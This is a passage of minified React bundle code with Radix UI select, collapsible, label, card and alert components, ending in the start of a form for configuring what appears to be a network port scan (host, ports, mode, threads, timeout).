","Enter"],oo="Select",[$h,Bh,u7]=Kb(oo),[Yl]=Fn(oo,[u7,Fl]),Uh=Fl(),[f7,Ai]=Yl(oo),[d7,h7]=Yl(oo),$j=e=>{const{__scopeSelect:t,children:n,open:r,defaultOpen:i,onOpenChange:l,value:c,defaultValue:u,onValueChange:f,dir:h,name:p,autoComplete:m,disabled:y,required:x,form:S}=e,w=Uh(t),[O,A]=v.useState(null),[_,T]=v.useState(null),[j,M]=v.useState(!1),P=Kc(h),[R,I]=Oa({prop:r,defaultProp:i??!1,onChange:l,caller:oo}),[B,q]=Oa({prop:c,defaultProp:u,onChange:f,caller:oo}),U=v.useRef(null),V=O?S||!!O.closest("form"):!0,[oe,le]=v.useState(new Set),ce=Array.from(oe).map(L=>L.props.value).join(";");return E.jsx(zb,{...w,children:E.jsxs(f7,{required:x,scope:t,trigger:O,onTriggerChange:A,valueNode:_,onValueNodeChange:T,valueNodeHasChildren:j,onValueNodeHasChildrenChange:M,contentId:sr(),value:B,onValueChange:q,open:R,onOpenChange:I,dir:P,triggerPointerDownPosRef:U,disabled:y,children:[E.jsx($h.Provider,{scope:t,children:E.jsx(d7,{scope:e.__scopeSelect,onNativeOptionAdd:v.useCallback(L=>{le(F=>new Set(F).add(L))},[]),onNativeOptionRemove:v.useCallback(L=>{le(F=>{const $=new Set(F);return $.delete(L),$})},[]),children:n})}),V?E.jsxs(cP,{"aria-hidden":!0,required:x,tabIndex:-1,name:p,autoComplete:m,value:B,onChange:L=>q(L.target.value),disabled:y,form:S,children:[B===void 0?E.jsx("option",{value:""}):null,Array.from(oe)]},ce):null]})})};$j.displayName=oo;var Bj="SelectTrigger",Uj=v.forwardRef((e,t)=>{const{__scopeSelect:n,disabled:r=!1,...i}=e,l=Uh(n),c=Ai(Bj,n),u=c.disabled||r,f=De(t,c.onTriggerChange),h=Bh(n),p=v.useRef("touch"),[m,y,x]=fP(w=>{const O=h().filter(T=>!T.disabled),A=O.find(T=>T.value===c.value),_=dP(O,w,A);_!==void 0&&c.onValueChange(_.value)}),S=w=>{u||(c.onOpenChange(!0),x()),w&&(c.triggerPointerDownPosRef.current={x:Math.round(w.pageX),y:Math.round(w.pageY)})};return E.jsx($b,{asChild:!0,...l,children:E.jsx(Ce.button,{type:"button",role:"combobox","aria-controls":c.contentId,"aria-expanded":c.open,"aria-required":c.required,"aria-autocomplete":"none",dir:c.dir,"data-state":c.open?"open":"closed",disabled:u,"data-disabled":u?"":void 0,"data-placeholder":uP(c.value)?"":void 0,...i,ref:f,onClick:ue(i.onClick,w=>{w.currentTarget.focus(),p.current!=="mouse"&&S(w)}),onPointerDown:ue(i.onPointerDown,w=>{p.current=w.pointerType;const O=w.target;O.hasPointerCapture(w.pointerId)&&O.releasePointerCapture(w.pointerId),w.button===0&&w.ctrlKey===!1&&w.pointerType==="mouse"&&(S(w),w.preventDefault())}),onKeyDown:ue(i.onKeyDown,w=>{const O=m.current!=="";!(w.ctrlKey||w.altKey||w.metaKey)&&w.key.length===1&&y(w.key),!(O&&w.key===" ")&&s7.includes(w.key)&&(S(),w.preventDefault())})})})});Uj.displayName=Bj;var Hj="SelectValue",qj=v.forwardRef((e,t)=>{const{__scopeSelect:n,className:r,style:i,children:l,placeholder:c="",...u}=e,f=Ai(Hj,n),{onValueNodeHasChildrenChange:h}=f,p=l!==void 0,m=De(t,f.onValueNodeChange);return Ft(()=>{h(p)},[h,p]),E.jsx(Ce.span,{...u,ref:m,style:{pointerEvents:"none"},children:uP(f.value)?E.jsx(E.Fragment,{children:c}):l})});qj.displayName=Hj;var p7="SelectIcon",Fj=v.forwardRef((e,t)=>{const{__scopeSelect:n,children:r,...i}=e;return E.jsx(Ce.span,{"aria-hidden":!0,...i,ref:t,children:r||"▼"})});Fj.displayName=p7;var m7="SelectPortal",Vj=e=>E.jsx(Fc,{asChild:!0,...e});Vj.displayName=m7;var lo="SelectContent",Kj=v.forwardRef((e,t)=>{const n=Ai(lo,e.__scopeSelect),[r,i]=v.useState();if(Ft(()=>{i(new DocumentFragment)},[]),!n.open){const l=r;return l?wo.createPortal(E.jsx(Yj,{scope:e.__scopeSelect,children:E.jsx($h.Slot,{scope:e.__scopeSelect,children:E.jsx("div",{children:e.children})})}),l):null}return E.jsx(Gj,{...e,ref:t})});Kj.displayName=lo;var yr=10,[Yj,Ci]=Yl(lo),v7="SelectContentImpl",g7=g9("SelectContent.RemoveScroll"),Gj=v.forwardRef((e,t)=>{const{__scopeSelect:n,position:r="item-aligned",onCloseAutoFocus:i,onEscapeKeyDown:l,onPointerDownOutside:c,side:u,sideOffset:f,align:h,alignOffset:p,arrowPadding:m,collisionBoundary:y,collisionPadding:x,sticky:S,hideWhenDetached:w,avoidCollisions:O,...A}=e,_=Ai(lo,n),[T,j]=v.useState(null),[M,P]=v.useState(null),R=De(t,ee=>j(ee)),[I,B]=v.useState(null),[q,U]=v.useState(null),V=Bh(n),[oe,le]=v.useState(!1),ce=v.useRef(!1);v.useEffect(()=>{if(T)return Gb(T)},[T]),Yb();const L=v.useCallback(ee=>{const[_e,...Q]=V().map(ne=>ne.ref.current),[fe]=Q.slice(-1),he=document.activeElement;for(const ne of ee)if(ne===he||(ne?.scrollIntoView({block:"nearest"}),ne===_e&&M&&(M.scrollTop=0),ne===fe&&M&&(M.scrollTop=M.scrollHeight),ne?.focus(),document.activeElement!==he))return},[V,M]),F=v.useCallback(()=>L([I,T]),[L,I,T]);v.useEffect(()=>{oe&&F()},[oe,F]);const{onOpenChange:$,triggerPointerDownPosRef:Z}=_;v.useEffect(()=>{if(T){let ee={x:0,y:0};const _e=fe=>{ee={x:Math.abs(Math.round(fe.pageX)-(Z.current?.x??0)),y:Math.abs(Math.round(fe.pageY)-(Z.current?.y??0))}},Q=fe=>{ee.x<=10&&ee.y<=10?fe.preventDefault():T.contains(fe.target)||$(!1),document.removeEventListener("pointermove",_e),Z.current=null};return Z.current!==null&&(document.addEventListener("pointermove",_e),document.addEventListener("pointerup",Q,{capture:!0,once:!0})),()=>{document.removeEventListener("pointermove",_e),document.removeEventListener("pointerup",Q,{capture:!0})}}},[T,$,Z]),v.useEffect(()=>{const ee=()=>$(!1);return window.addEventListener("blur",ee),window.addEventListener("resize",ee),()=>{window.removeEventListener("blur",ee),window.removeEventListener("resize",ee)}},[$]);const[de,D]=fP(ee=>{const _e=V().filter(he=>!he.disabled),Q=_e.find(he=>he.ref.current===document.activeElement),fe=dP(_e,ee,Q);fe&&setTimeout(()=>fe.ref.current.focus())}),X=v.useCallback((ee,_e,Q)=>{const fe=!ce.current&&!Q;(_.value!==void 0&&_.value===_e||fe)&&(B(ee),fe&&(ce.current=!0))},[_.value]),ae=v.useCallback(()=>T?.focus(),[T]),se=v.useCallback((ee,_e,Q)=>{const fe=!ce.current&&!Q;(_.value!==void 0&&_.value===_e||fe)&&U(ee)},[_.value]),me=r==="popper"?b0:Wj,xe=me===b0?{side:u,sideOffset:f,align:h,alignOffset:p,arrowPadding:m,collisionBoundary:y,collisionPadding:x,sticky:S,hideWhenDetached:w,avoidCollisions:O}:{};return E.jsx(Yj,{scope:n,content:T,viewport:M,onViewportChange:P,itemRefCallback:X,selectedItem:I,onItemLeave:ae,itemTextRefCallback:se,focusSelectedItem:F,selectedItemText:q,position:r,isPositioned:oe,searchRef:de,children:E.jsx(zh,{as:g7,allowPinchZoom:!0,children:E.jsx(Lh,{asChild:!0,trapped:_.open,onMountAutoFocus:ee=>{ee.preventDefault()},onUnmountAutoFocus:ue(i,ee=>{_.trigger?.focus({preventScroll:!0}),ee.preventDefault()}),children:E.jsx(Hc,{asChild:!0,disableOutsidePointerEvents:!0,onEscapeKeyDown:l,onPointerDownOutside:c,onFocusOutside:ee=>ee.preventDefault(),onDismiss:()=>_.onOpenChange(!1),children:E.jsx(me,{role:"listbox",id:_.contentId,"data-state":_.open?"open":"closed",dir:_.dir,onContextMenu:ee=>ee.preventDefault(),...A,...xe,onPlaced:()=>le(!0),ref:R,style:{display:"flex",flexDirection:"column",outline:"none",...A.style},onKeyDown:ue(A.onKeyDown,ee=>{const _e=ee.ctrlKey||ee.altKey||ee.metaKey;if(ee.key==="Tab"&&ee.preventDefault(),!_e&&ee.key.length===1&&D(ee.key),["ArrowUp","ArrowDown","Home","End"].includes(ee.key)){let fe=V().filter(he=>!he.disabled).map(he=>he.ref.current);if(["ArrowUp","End"].includes(ee.key)&&(fe=fe.slice().reverse()),["ArrowUp","ArrowDown"].includes(ee.key)){const he=ee.target,ne=fe.indexOf(he);fe=fe.slice(ne+1)}setTimeout(()=>L(fe)),ee.preventDefault()}})})})})})})});Gj.displayName=v7;var y7="SelectItemAlignedPosition",Wj=v.forwardRef((e,t)=>{const{__scopeSelect:n,onPlaced:r,...i}=e,l=Ai(lo,n),c=Ci(lo,n),[u,f]=v.useState(null),[h,p]=v.useState(null),m=De(t,R=>p(R)),y=Bh(n),x=v.useRef(!1),S=v.useRef(!0),{viewport:w,selectedItem:O,selectedItemText:A,focusSelectedItem:_}=c,T=v.useCallback(()=>{if(l.trigger&&l.valueNode&&u&&h&&w&&O&&A){const R=l.trigger.getBoundingClientRect(),I=h.getBoundingClientRect(),B=l.valueNode.getBoundingClientRect(),q=A.getBoundingClientRect();if(l.dir!=="rtl"){const he=q.left-I.left,ne=B.left-he,Ke=R.left-ne,je=R.width+Ke,bt=Math.max(je,I.width),xt=window.innerWidth-yr,Cn=g0(ne,[yr,Math.max(yr,xt-bt)]);u.style.minWidth=je+"px",u.style.left=Cn+"px"}else{const he=I.right-q.right,ne=window.innerWidth-B.right-he,Ke=window.innerWidth-R.right-ne,je=R.width+Ke,bt=Math.max(je,I.width),xt=window.innerWidth-yr,Cn=g0(ne,[yr,Math.max(yr,xt-bt)]);u.style.minWidth=je+"px",u.style.right=Cn+"px"}const U=y(),V=window.innerHeight-yr*2,oe=w.scrollHeight,le=window.getComputedStyle(h),ce=parseInt(le.borderTopWidth,10),L=parseInt(le.paddingTop,10),F=parseInt(le.borderBottomWidth,10),$=parseInt(le.paddingBottom,10),Z=ce+L+oe+$+F,de=Math.min(O.offsetHeight*5,Z),D=window.getComputedStyle(w),X=parseInt(D.paddingTop,10),ae=parseInt(D.paddingBottom,10),se=R.top+R.height/2-yr,me=V-se,xe=O.offsetHeight/2,ee=O.offsetTop+xe,_e=ce+L+ee,Q=Z-_e;if(_e<=se){const he=U.length>0&&O===U[U.length-1].ref.current;u.style.bottom="0px";const ne=h.clientHeight-w.offsetTop-w.offsetHeight,Ke=Math.max(me,xe+(he?ae:0)+ne+F),je=_e+Ke;u.style.height=je+"px"}else{const he=U.length>0&&O===U[0].ref.current;u.style.top="0px";const Ke=Math.max(se,ce+w.offsetTop+(he?X:0)+xe)+Q;u.style.height=Ke+"px",w.scrollTop=_e-se+w.offsetTop}u.style.margin=`${yr}px 0`,u.style.minHeight=de+"px",u.style.maxHeight=V+"px",r?.(),requestAnimationFrame(()=>x.current=!0)}},[y,l.trigger,l.valueNode,u,h,w,O,A,l.dir,r]);Ft(()=>T(),[T]);const[j,M]=v.useState();Ft(()=>{h&&M(window.getComputedStyle(h).zIndex)},[h]);const P=v.useCallback(R=>{R&&S.current===!0&&(T(),_?.(),S.current=!1)},[T,_]);return E.jsx(x7,{scope:n,contentWrapper:u,shouldExpandOnScrollRef:x,onScrollButtonChange:P,children:E.jsx("div",{ref:f,style:{display:"flex",flexDirection:"column",position:"fixed",zIndex:j},children:E.jsx(Ce.div,{...i,ref:m,style:{boxSizing:"border-box",maxHeight:"100%",...i.style}})})})});Wj.displayName=y7;var b7="SelectPopperPosition",b0=v.forwardRef((e,t)=>{const{__scopeSelect:n,align:r="start",collisionPadding:i=yr,...l}=e,c=Uh(n);return E.jsx(Bb,{...c,...l,ref:t,align:r,collisionPadding:i,style:{boxSizing:"border-box",...l.style,"--radix-select-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-select-content-available-width":"var(--radix-popper-available-width)","--radix-select-content-available-height":"var(--radix-popper-available-height)","--radix-select-trigger-width":"var(--radix-popper-anchor-width)","--radix-select-trigger-height":"var(--radix-popper-anchor-height)"}})});b0.displayName=b7;var[x7,Wb]=Yl(lo,{}),x0="SelectViewport",Xj=v.forwardRef((e,t)=>{const{__scopeSelect:n,nonce:r,...i}=e,l=Ci(x0,n),c=Wb(x0,n),u=De(t,l.onViewportChange),f=v.useRef(0);return E.jsxs(E.Fragment,{children:[E.jsx("style",{dangerouslySetInnerHTML:{__html:"[data-radix-select-viewport]{scrollbar-width:none;-ms-overflow-style:none;-webkit-overflow-scrolling:touch;}[data-radix-select-viewport]::-webkit-scrollbar{display:none}"},nonce:r}),E.jsx($h.Slot,{scope:n,children:E.jsx(Ce.div,{"data-radix-select-viewport":"",role:"presentation",...i,ref:u,style:{position:"relative",flex:1,overflow:"hidden auto",...i.style},onScroll:ue(i.onScroll,h=>{const p=h.currentTarget,{contentWrapper:m,shouldExpandOnScrollRef:y}=c;if(y?.current&&m){const x=Math.abs(f.current-p.scrollTop);if(x>0){const S=window.innerHeight-yr*2,w=parseFloat(m.style.minHeight),O=parseFloat(m.style.height),A=Math.max(w,O);if(A0?j:0,m.style.justifyContent="flex-end")}}}f.current=p.scrollTop})})})]})});Xj.displayName=x0;var Zj="SelectGroup",[w7,S7]=Yl(Zj),O7=v.forwardRef((e,t)=>{const{__scopeSelect:n,...r}=e,i=sr();return E.jsx(w7,{scope:n,id:i,children:E.jsx(Ce.div,{role:"group","aria-labelledby":i,...r,ref:t})})});O7.displayName=Zj;var Qj="SelectLabel",Jj=v.forwardRef((e,t)=>{const{__scopeSelect:n,...r}=e,i=S7(Qj,n);return E.jsx(Ce.div,{id:i.id,...r,ref:t})});Jj.displayName=Qj;var _d="SelectItem",[E7,eP]=Yl(_d),tP=v.forwardRef((e,t)=>{const{__scopeSelect:n,value:r,disabled:i=!1,textValue:l,...c}=e,u=Ai(_d,n),f=Ci(_d,n),h=u.value===r,[p,m]=v.useState(l??""),[y,x]=v.useState(!1),S=De(t,_=>f.itemRefCallback?.(_,r,i)),w=sr(),O=v.useRef("touch"),A=()=>{i||(u.onValueChange(r),u.onOpenChange(!1))};if(r==="")throw new Error("A must have a value prop that is not an empty string. This is because the Select value can be set to an empty string to clear the selection and show the placeholder.");return E.jsx(E7,{scope:n,value:r,disabled:i,textId:w,isSelected:h,onItemTextChange:v.useCallback(_=>{m(T=>T||(_?.textContent??"").trim())},[]),children:E.jsx($h.ItemSlot,{scope:n,value:r,disabled:i,textValue:p,children:E.jsx(Ce.div,{role:"option","aria-labelledby":w,"data-highlighted":y?"":void 0,"aria-selected":h&&y,"data-state":h?"checked":"unchecked","aria-disabled":i||void 0,"data-disabled":i?"":void 0,tabIndex:i?void 0:-1,...c,ref:S,onFocus:ue(c.onFocus,()=>x(!0)),onBlur:ue(c.onBlur,()=>x(!1)),onClick:ue(c.onClick,()=>{O.current!=="mouse"&&A()}),onPointerUp:ue(c.onPointerUp,()=>{O.current==="mouse"&&A()}),onPointerDown:ue(c.onPointerDown,_=>{O.current=_.pointerType}),onPointerMove:ue(c.onPointerMove,_=>{O.current=_.pointerType,i?f.onItemLeave?.():O.current==="mouse"&&_.currentTarget.focus({preventScroll:!0})}),onPointerLeave:ue(c.onPointerLeave,_=>{_.currentTarget===document.activeElement&&f.onItemLeave?.()}),onKeyDown:ue(c.onKeyDown,_=>{f.searchRef?.current!==""&&_.key===" "||(c7.includes(_.key)&&A(),_.key===" "&&_.preventDefault())})})})})});tP.displayName=_d;var hc="SelectItemText",nP=v.forwardRef((e,t)=>{const{__scopeSelect:n,className:r,style:i,...l}=e,c=Ai(hc,n),u=Ci(hc,n),f=eP(hc,n),h=h7(hc,n),[p,m]=v.useState(null),y=De(t,A=>m(A),f.onItemTextChange,A=>u.itemTextRefCallback?.(A,f.value,f.disabled)),x=p?.textContent,S=v.useMemo(()=>E.jsx("option",{value:f.value,disabled:f.disabled,children:x},f.value),[f.disabled,f.value,x]),{onNativeOptionAdd:w,onNativeOptionRemove:O}=h;return Ft(()=>(w(S),()=>O(S)),[w,O,S]),E.jsxs(E.Fragment,{children:[E.jsx(Ce.span,{id:f.textId,...l,ref:y}),f.isSelected&&c.valueNode&&!c.valueNodeHasChildren?wo.createPortal(l.children,c.valueNode):null]})});nP.displayName=hc;var rP="SelectItemIndicator",aP=v.forwardRef((e,t)=>{const{__scopeSelect:n,...r}=e;return eP(rP,n).isSelected?E.jsx(Ce.span,{"aria-hidden":!0,...r,ref:t}):null});aP.displayName=rP;var w0="SelectScrollUpButton",iP=v.forwardRef((e,t)=>{const n=Ci(w0,e.__scopeSelect),r=Wb(w0,e.__scopeSelect),[i,l]=v.useState(!1),c=De(t,r.onScrollButtonChange);return Ft(()=>{if(n.viewport&&n.isPositioned){let u=function(){const h=f.scrollTop>0;l(h)};const f=n.viewport;return u(),f.addEventListener("scroll",u),()=>f.removeEventListener("scroll",u)}},[n.viewport,n.isPositioned]),i?E.jsx(lP,{...e,ref:c,onAutoScroll:()=>{const{viewport:u,selectedItem:f}=n;u&&f&&(u.scrollTop=u.scrollTop-f.offsetHeight)}}):null});iP.displayName=w0;var S0="SelectScrollDownButton",oP=v.forwardRef((e,t)=>{const n=Ci(S0,e.__scopeSelect),r=Wb(S0,e.__scopeSelect),[i,l]=v.useState(!1),c=De(t,r.onScrollButtonChange);return Ft(()=>{if(n.viewport&&n.isPositioned){let u=function(){const h=f.scrollHeight-f.clientHeight,p=Math.ceil(f.scrollTop)f.removeEventListener("scroll",u)}},[n.viewport,n.isPositioned]),i?E.jsx(lP,{...e,ref:c,onAutoScroll:()=>{const{viewport:u,selectedItem:f}=n;u&&f&&(u.scrollTop=u.scrollTop+f.offsetHeight)}}):null});oP.displayName=S0;var lP=v.forwardRef((e,t)=>{const{__scopeSelect:n,onAutoScroll:r,...i}=e,l=Ci("SelectScrollButton",n),c=v.useRef(null),u=Bh(n),f=v.useCallback(()=>{c.current!==null&&(window.clearInterval(c.current),c.current=null)},[]);return v.useEffect(()=>()=>f(),[f]),Ft(()=>{u().find(p=>p.ref.current===document.activeElement)?.ref.current?.scrollIntoView({block:"nearest"})},[u]),E.jsx(Ce.div,{"aria-hidden":!0,...i,ref:t,style:{flexShrink:0,...i.style},onPointerDown:ue(i.onPointerDown,()=>{c.current===null&&(c.current=window.setInterval(r,50))}),onPointerMove:ue(i.onPointerMove,()=>{l.onItemLeave?.(),c.current===null&&(c.current=window.setInterval(r,50))}),onPointerLeave:ue(i.onPointerLeave,()=>{f()})})}),A7="SelectSeparator",sP=v.forwardRef((e,t)=>{const{__scopeSelect:n,...r}=e;return E.jsx(Ce.div,{"aria-hidden":!0,...r,ref:t})});sP.displayName=A7;var O0="SelectArrow",C7=v.forwardRef((e,t)=>{const{__scopeSelect:n,...r}=e,i=Uh(n),l=Ai(O0,n),c=Ci(O0,n);return l.open&&c.position==="popper"?E.jsx(Ub,{...i,...r,ref:t}):null});C7.displayName=O0;var _7="SelectBubbleInput",cP=v.forwardRef(({__scopeSelect:e,value:t,...n},r)=>{const i=v.useRef(null),l=De(r,i),c=Oj(t);return v.useEffect(()=>{const u=i.current;if(!u)return;const f=window.HTMLSelectElement.prototype,p=Object.getOwnPropertyDescriptor(f,"value").set;if(c!==t&&p){const m=new Event("change",{bubbles:!0});p.call(u,t),u.dispatchEvent(m)}},[c,t]),E.jsx(Ce.select,{...n,style:{...XM,...n.style},ref:l,defaultValue:t})});cP.displayName=_7;function uP(e){return e===""||e===void 0}function fP(e){const t=en(e),n=v.useRef(""),r=v.useRef(0),i=v.useCallback(c=>{const u=n.current+c;t(u),(function f(h){n.current=h,window.clearTimeout(r.current),h!==""&&(r.current=window.setTimeout(()=>f(""),1e3))})(u)},[t]),l=v.useCallback(()=>{n.current="",window.clearTimeout(r.current)},[]);return v.useEffect(()=>()=>window.clearTimeout(r.current),[]),[n,i,l]}function dP(e,t,n){const i=t.length>1&&Array.from(t).every(h=>h===t[0])?t[0]:t,l=n?e.indexOf(n):-1;let c=T7(e,Math.max(l,0));i.length===1&&(c=c.filter(h=>h!==n));const f=c.find(h=>h.textValue.toLowerCase().startsWith(i.toLowerCase()));return f!==n?f:void 0}function T7(e,t){return e.map((n,r)=>e[(t+r)%e.length])}var N7=$j,hP=Uj,M7=qj,j7=Fj,P7=Vj,pP=Kj,R7=Xj,mP=Jj,vP=tP,D7=nP,k7=aP,gP=iP,yP=oP,bP=sP;const L7=N7,I7=M7,xP=v.forwardRef(({className:e,children:t,...n},r)=>E.jsxs(hP,{ref:r,className:Ee("flex h-10 w-full items-center justify-between rounded-md border border-input bg-background px-3 py-2 text-sm ring-offset-background placeholder:text-muted-foreground focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 [&>span]:line-clamp-1",e),...n,children:[t,E.jsx(j7,{asChild:!0,children:E.jsx(Ch,{className:"h-4 w-4 opacity-50"})})]}));xP.displayName=hP.displayName;const wP=v.forwardRef(({className:e,...t},n)=>E.jsx(gP,{ref:n,className:Ee("flex cursor-default items-center justify-center py-1",e),...t,children:E.jsx(R6,{className:"h-4 w-4"})}));wP.displayName=gP.displayName;const SP=v.forwardRef(({className:e,...t},n)=>E.jsx(yP,{ref:n,className:Ee("flex cursor-default items-center justify-center py-1",e),...t,children:E.jsx(Ch,{className:"h-4 w-4"})}));SP.displayName=yP.displayName;const OP=v.forwardRef(({className:e,children:t,position:n="popper",...r},i)=>E.jsx(P7,{children:E.jsxs(pP,{ref:i,className:Ee("relative z-50 max-h-96 min-w-[8rem] overflow-hidden rounded-md border bg-popover text-popover-foreground shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",n==="popper"&&"data-[side=bottom]:translate-y-1 data-[side=left]:-translate-x-1 data-[side=right]:translate-x-1 data-[side=top]:-translate-y-1",e),position:n,...r,children:[E.jsx(wP,{}),E.jsx(R7,{className:Ee("p-1",n==="popper"&&"max-h-[--radix-select-content-available-height] w-full min-w-[var(--radix-select-trigger-width)]"),children:t}),E.jsx(SP,{})]})}));OP.displayName=pP.displayName;const z7=v.forwardRef(({className:e,...t},n)=>E.jsx(mP,{ref:n,className:Ee("py-1.5 pl-8 pr-2 text-sm font-semibold",e),...t}));z7.displayName=mP.displayName;const EP=v.forwardRef(({className:e,children:t,...n},r)=>E.jsxs(vP,{ref:r,className:Ee("relative flex w-full cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",e),...n,children:[E.jsx("span",{className:"absolute left-2 flex h-3.5 w-3.5 items-center justify-center",children:E.jsx(k7,{children:E.jsx(gM,{className:"h-4 w-4"})})}),E.jsx(D7,{children:t})]}));EP.displayName=vP.displayName;const $7=v.forwardRef(({className:e,...t},n)=>E.jsx(bP,{ref:n,className:Ee("-mx-1 my-1 h-px bg-muted",e),...t}));$7.displayName=bP.displayName;var Hh="Collapsible",[B7]=Fn(Hh),[U7,Xb]=B7(Hh),AP=v.forwardRef((e,t)=>{const{__scopeCollapsible:n,open:r,defaultOpen:i,disabled:l,onOpenChange:c,...u}=e,[f,h]=Oa({prop:r,defaultProp:i??!1,onChange:c,caller:Hh});return E.jsx(U7,{scope:n,disabled:l,contentId:sr(),open:f,onOpenToggle:v.useCallback(()=>h(p=>!p),[h]),children:E.jsx(Ce.div,{"data-state":Qb(f),"data-disabled":l?"":void 0,...u,ref:t})})});AP.displayName=Hh;var CP="CollapsibleTrigger",_P=v.forwardRef((e,t)=>{const{__scopeCollapsible:n,...r}=e,i=Xb(CP,n);return E.jsx(Ce.button,{type:"button","aria-controls":i.contentId,"aria-expanded":i.open||!1,"data-state":Qb(i.open),"data-disabled":i.disabled?"":void 0,disabled:i.disabled,...r,ref:t,onClick:ue(e.onClick,i.onOpenToggle)})});_P.displayName=CP;var Zb="CollapsibleContent",TP=v.forwardRef((e,t)=>{const{forceMount:n,...r}=e,i=Xb(Zb,e.__scopeCollapsible);return E.jsx(ln,{present:n||i.open,children:({present:l})=>E.jsx(H7,{...r,ref:t,present:l})})});TP.displayName=Zb;var H7=v.forwardRef((e,t)=>{const{__scopeCollapsible:n,present:r,children:i,...l}=e,c=Xb(Zb,n),[u,f]=v.useState(r),h=v.useRef(null),p=De(t,h),m=v.useRef(0),y=m.current,x=v.useRef(0),S=x.current,w=c.open||u,O=v.useRef(w),A=v.useRef(void 0);return v.useEffect(()=>{const _=requestAnimationFrame(()=>O.current=!1);return()=>cancelAnimationFrame(_)},[]),Ft(()=>{const _=h.current;if(_){A.current=A.current||{transitionDuration:_.style.transitionDuration,animationName:_.style.animationName},_.style.transitionDuration="0s",_.style.animationName="none";const T=_.getBoundingClientRect();m.current=T.height,x.current=T.width,O.current||(_.style.transitionDuration=A.current.transitionDuration,_.style.animationName=A.current.animationName),f(r)}},[c.open,r]),E.jsx(Ce.div,{"data-state":Qb(c.open),"data-disabled":c.disabled?"":void 0,id:c.contentId,hidden:!w,...l,ref:p,style:{"--radix-collapsible-content-height":y?`${y}px`:void 0,"--radix-collapsible-content-width":S?`${S}px`:void 0,...e.style},children:w&&i})});function Qb(e){return e?"open":"closed"}var q7=AP;const F7=q7,V7=_P,K7=TP;var Y7=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],G7=Y7.reduce((e,t)=>{const n=Rh(`Primitive.${t}`),r=v.forwardRef((i,l)=>{const{asChild:c,...u}=i,f=c?n:t;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),E.jsx(f,{...u,ref:l})});return r.displayName=`Primitive.${t}`,{...e,[t]:r}},{}),W7="Label",NP=v.forwardRef((e,t)=>E.jsx(G7.label,{...e,ref:t,onMouseDown:n=>{n.target.closest("button, input, select, textarea")||(e.onMouseDown?.(n),!n.defaultPrevented&&n.detail>1&&n.preventDefault())}}));NP.displayName=W7;var MP=NP;const X7=Dh("text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70"),On=v.forwardRef(({className:e,...t},n)=>E.jsx(MP,{ref:n,className:Ee(X7(),e),...t}));On.displayName=MP.displayName;const Gl=v.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ee("rounded-lg border bg-card text-card-foreground shadow-sm",e),...t}));Gl.displayName="Card";const Wl=v.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ee("flex flex-col space-y-1.5 p-6",e),...t}));Wl.displayName="CardHeader";const Xl=v.forwardRef(({className:e,...t},n)=>E.jsx("h3",{ref:n,className:Ee("text-2xl font-semibold leading-none tracking-tight",e),...t}));Xl.displayName="CardTitle";const Z7=v.forwardRef(({className:e,...t},n)=>E.jsx("p",{ref:n,className:Ee("text-sm text-muted-foreground",e),...t}));Z7.displayName="CardDescription";const Zl=v.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ee("p-6 pt-0",e),...t}));Zl.displayName="CardContent";const Q7=v.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ee("flex items-center p-6 pt-0",e),...t}));Q7.displayName="CardFooter";const J7=Dh("relative w-full rounded-lg border p-4 [&>svg~*]:pl-7 [&>svg+div]:translate-y-[-3px] [&>svg]:absolute [&>svg]:left-4 [&>svg]:top-4 [&>svg]:text-foreground",{variants:{variant:{default:"bg-background text-foreground",destructive:"border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive",success:"border-success/50 text-success dark:border-success [&>svg]:text-success",warning:"border-warning/50 text-warning dark:border-warning [&>svg]:text-warning"}},defaultVariants:{variant:"default"}}),jP=v.forwardRef(({className:e,variant:t,...n},r)=>E.jsx("div",{ref:r,role:"alert",className:Ee(J7({variant:t}),e),...n}));jP.displayName="Alert";const eq=v.forwardRef(({className:e,...t},n)=>E.jsx("h5",{ref:n,className:Ee("mb-1 font-medium leading-none tracking-tight",e),...t}));eq.displayName="AlertTitle";const PP=v.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ee("text-sm [&_p]:leading-relaxed",e),...t}));PP.displayName="AlertDescription";function tq({formData:e,onFormChange:t,presets:n,isRunning:r,isStopping:i,loading:l,error:c,onStart:u,onStop:f}){const{t:h,i18n:p}=xo(),[m,y]=v.useState(!1),x=(O,A)=>{t({...e,[O]:A})},S=O=>{const A=n.find(_=>_.id===O);A&&t({...e,ports:A.ports,scan_mode:A.scan_mode,thread_num:A.thread_num,timeout:A.timeout})},w=r;return E.jsxs(Gl,{children:[E.jsxs(Wl,{className:"flex flex-row items-center justify-between space-y-0 pb-4",children:[E.jsxs(Xl,{className:"flex items-center gap-2 text-base",children:[E.jsx(BA,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"}),h("scanTitle")]}),r?E.jsxs(or,{size:"sm",variant:"destructive",onClick:f,disabled:l||i,className:"gap-2",children:[l?E.jsx(c0,{className:"w-4 h-4 animate-spin"}):E.jsx(AB,{className:"w-4 h-4"}),h("scanStopBtn")]}):E.jsxs(or,{size:"sm",onClick:u,disabled:l||!e.host,className:"gap-2",children:[l?E.jsx(c0,{className:"w-4 h-4 animate-spin"}):E.jsx(pB,{className:"w-4 h-4"}),h("scanStartBtn")]})]}),E.jsxs(Zl,{className:"space-y-4",children:[c&&E.jsxs(jP,{variant:"destructive",children:[E.jsx(xM,{className:"h-4 